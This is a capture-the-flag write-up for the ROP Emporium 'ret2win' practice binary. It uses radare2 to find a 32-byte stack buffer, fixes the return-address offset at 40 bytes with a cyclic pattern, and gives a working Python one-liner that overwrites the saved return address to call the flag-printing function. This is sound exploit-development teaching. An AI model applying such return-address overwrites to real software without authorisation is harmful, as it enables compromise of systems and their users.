Locate a method within the binary that you want to call and do so by overwriting a saved return address on the stack.
The binary and challenge description can be found here:
https://ropemporium.com/challenge/ret2win.html
It states that the objective is to call a magic method.
Let’s download the binary and run the program to see what it’s looking for:
andrew ~ $ wget --quiet https://ropemporium.com/binary/ret2win.zip andrew ~ $ unzip ret2win.zip Archive: ret2win.zip inflating: ret2win extracting: flag.txt andrew ~ $ ./ret2win ret2win by ROP Emporium 64bits For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer; What could possibly go wrong? You there madam, may I have your input please? And don't worry about null bytes, we're using fgets! > hfjdsl Exiting
It looks like the buffer is 32 bytes long. Let’s verify that by trying to cause a segfault:
andrew ~ $ sudo dmesg -C andrew ~ $ python2 -c 'print "A"*45' | ./ret2win ret2win by ROP Emporium 64bits For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer; What could possibly go wrong? You there madam, may I have your input please? And don't worry about null bytes, we're using fgets! > Segmentation fault (core dumped) andrew ~ $ dmesg -t ret2win[70883]: segfault at a4141414141 ip 00000a4141414141 sp 00007ffce8c2c410 error 14 in libc-2.29.so[7f7a75623000+25000] Code: Bad RIP value. ...
Using the hint on the ret2win page, I used dmesg -t to verify that the saved return pointer was overwritten. Now that I know how to control the flow of execution I need to see which “method” to call. The objective of any of these challenges is to retrieve the contents of flag.txt. Let’s look for this “magic method” that might help us with that. I can list all of the functions with the afl command:
andrew ~ $ r2 ret2win [0x00400650]> aa [Cannot analyze at 0x00400640g with sym. and entry0 (aa) [x] Analyze all flags starting with sym. and entry0 (aa) [0x00400650]> afl 0x00400650 1 41 entry0 0x00400610 1 6 sym.imp.__libc_start_main 0x00400680 4 50 -> 41 sym.deregister_tm_clones 0x004006c0 4 58 -> 55 sym.register_tm_clones 0x00400700 3 28 entry.fini0 0x00400720 4 38 -> 35 entry.init0 0x004007b5 1 92 sym.pwnme 0x00400600 1 6 sym.imp.memset 0x004005d0 1 6 sym.imp.puts 0x004005f0 1 6 sym.imp.printf 0x00400620 1 6 sym.imp.fgets 0x00400811 1 32 sym.ret2win 0x004005e0 1 6 sym.imp.system 0x004008b0 1 2 sym.__libc_csu_fini 0x004008b4 1 9 sym._fini 0x00400840 4 101 sym.__libc_csu_init 0x00400746 1 111 main 0x00400630 1 6 sym.imp.setvbuf 0x004005a0 3 26 sym._init
When you see sym.
before something else in radare2, that’s indicating that it’s a symbol. Symbols are identified items, like functions and variables. Ignoring all the imports and other junk, we’re left with 3 functions:
0x004007b5 1 92 sym.pwnme 0x00400811 1 32 sym.ret2win 0x00400746 1 111 main
Obviously, we don’t need to call main() again, but let’s take a look at the disassembly for that:
[0x00400650]> pdf @ main ┌ (fcn) main 111 │ int main (int argc, char **argv, char **envp); │ ; DATA XREF from entry0 @ 0x40066d │ 0x00400746 push rbp │ 0x00400747 mov rbp, rsp │ 0x0040074a mov rax, qword [obj.stdout] ; obj.__TMC_END │ ; [0x601060:8]=0 │ 0x00400751 mov ecx, 0 │ 0x00400756 mov edx, 2 │ 0x0040075b mov esi, 0 │ 0x00400760 mov rdi, rax │ 0x00400763 call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size) │ 0x00400768 mov rax, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5 │ ; [0x601080:8]=0 │ 0x0040076f mov ecx, 0 │ 0x00400774 mov edx, 2 │ 0x00400779 mov esi, 0 │ 0x0040077e mov rdi, rax │ 0x00400781 call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size) │ 0x00400786 mov edi, str.ret2win_by_ROP_Emporium ; 0x4008c8 ; "ret2win by ROP Emporium" │ 0x0040078b call sym.imp.puts ; int puts(const char *s) │ 0x00400790 mov edi, str.64bits ; 0x4008e0 ; "64bits\n" │ 0x00400795 call sym.imp.puts ; int puts(const char *s) │ 0x0040079a mov eax, 0 │ 0x0040079f call sym.pwnme │ 0x004007a4 mov edi, str.Exiting ; 0x4008e8 ; "\nExiting" │ 0x004007a9 call sym.imp.puts ; int puts(const char *s) │ 0x004007ae mov eax, 0 │ 0x004007b3 pop rbp └ 0x004007b4 ret
I had to use the seek command to move to the main() function before using the print disassembly function command. If you focus on the calls, you’ll see that it calls several imported functions as well as pwnme(). However, it doesn’t call the ret2win() function. Let’s take a look at that one:
[0x00400650]> pdf @ sym.ret2win ┌ (fcn) sym.ret2win 32 │ sym.ret2win (); │ 0x00400811 push rbp │ 0x00400812 mov rbp, rsp │ 0x00400815 mov edi, str.Thank_you__Here_s_your_flag: ; 0x4009e0 ; "Thank you! Here's your flag:" │ 0x0040081a mov eax, 0 │ 0x0040081f call sym.imp.printf ; int printf(const char *format) │ 0x00400824 mov edi, str.bin_cat_flag.txt ; 0x4009fd ; "/bin/cat flag.txt" │ 0x00400829 call sym.imp.system ; int system(const char *string) │ 0x0040082e nop │ 0x0040082f pop rbp └ 0x00400830 ret
Here, radare2 makes it nice & easy to see that this function will cat flag.txt. Now I just need to overwrite the saved return address pointer with this function’s address (0x400811).
I’ll be using a tool in the radare2 framework, called ragg2 that can create a debruijn pattern to figure out how far after the start of the buffer the saved return address is.
andrew ~ $ ragg2 -P 45 -r > pattern.txt andrew ~ $ cat pattern.txt AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAA andrew ~ $ vim profile.rr2 andrew ~ $ cat profile.rr2 #!/usr/bin/rarun2 stdin=pattern.txt andrew ~ $ r2 -r profile.rr2 -d ret2win Process with PID 93862 started... = attach 93862 93862 bin.baddr 0x00400000 Using 0x400000 asm.bits 64 Continue until 0x00400746 using 1 bpsize hit breakpoint at: 400746 [0x00400746]> dc ret2win by ROP Emporium 64bits For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer; What could possibly go wrong? You there madam, may I have your input please? And don't worry about null bytes, we're using fgets! > child stopped with signal 11 [+] SIGNAL 11 errno=0 addr=0x41414f4141 code=1 ret=0 [0x41414f4141]> wopO $(dr rip) 40
Here’s what’s going on here:
- Created the pattern with
ragg2
and saved it to a text file - Created
profile.rr2
to tell radare2 that “pattern.txt” should be used for stdin when running a program - radare2 is run in debug mode and specified the
profile.rr2
file as the rarun2 profile - Used the debug continue command to continue execution
- Used the write out pattern at Offset command and a little Bash command substitution to get the register value of RIP
Now that I have the offset (40 bytes), I can build my exploit:
andrew ~ $ python3 -c 'print("A"*40 + "\x11\x08\x40", end="")' | ./ret2win ret2win by ROP Emporium 64bits For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer; What could possibly go wrong? You there madam, may I have your input please? And don't worry about null bytes, we're using fgets! > Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
While this particular challenge didn’t really involve return oriented programming, it’s still a good place to start, especially with learning a new tool like radare2.